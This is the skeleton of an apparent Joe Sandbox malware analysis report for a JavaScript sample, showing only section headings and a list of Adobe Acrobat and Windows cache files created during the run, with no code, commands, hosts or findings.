HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aa63d5bb-4e01-4167-ab12-3c1a2f21c629.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3356

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3356

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
91931239167124381.js